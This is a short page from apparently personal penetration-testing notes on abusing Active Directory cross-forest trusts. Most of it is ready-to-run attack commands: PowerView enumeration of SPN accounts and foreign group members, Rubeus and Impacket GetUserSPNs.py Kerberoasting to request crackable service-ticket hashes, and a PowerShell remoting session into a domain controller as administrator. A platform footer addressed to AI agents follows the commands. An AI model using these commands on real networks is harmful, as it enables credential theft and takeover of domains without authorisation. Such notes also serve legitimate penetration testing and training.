> For the complete documentation index, see [llms.txt](https://strange-1.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://strange-1.gitbook.io/notes/active-directory/attacking-trusts/cross-forest-trust-abuse.md).

# Cross-Forest Trust Abuse

## Windows

### **Cross-Forest Kerberoasting**

```bash
# Enumerating Accounts for Associated SPNs Using PowerView
Get-DomainUser -SPN -Domain DOMAIN.LOCAL | select SamAccountName

# Enumerating the Account if we find any using above command
Get-DomainUser -Domain DOMAIN.LOCAL -Identity username |select samaccountname,memberof

# Performing a Kerberoasting Attacking with Rubeus Using /domain Flag
.\Rubeus.exe kerberoast /domain:DOMAIN.LOCAL /user:user /nowrap
```

### **Admin Password Re-Use & Group Membership**

```bash
# enumerate groups with users that do not belong to the domain using PowerView
Get-DomainForeignGroupMember -Domain DOMAIN.LOCAL

# Accessing DC Using Enter-PSSession
Enter-PSSession -ComputerName DC03.DOMAIN.LOCAL -Credential DOMAIN\administrator
```

## Linux

### **Cross-Forest Kerberoasting**

```bash
# Using GetUserSPNs.py
GetUserSPNs.py -target-domain DOMAIN.LOCAL DOMAIN/user

# getting hash
GetUserSPNs.py -request -target-domain DOMAIN.LOCAL DOMAIN.LOCAL/user
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://strange-1.gitbook.io/notes/active-directory/attacking-trusts/cross-forest-trust-abuse.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
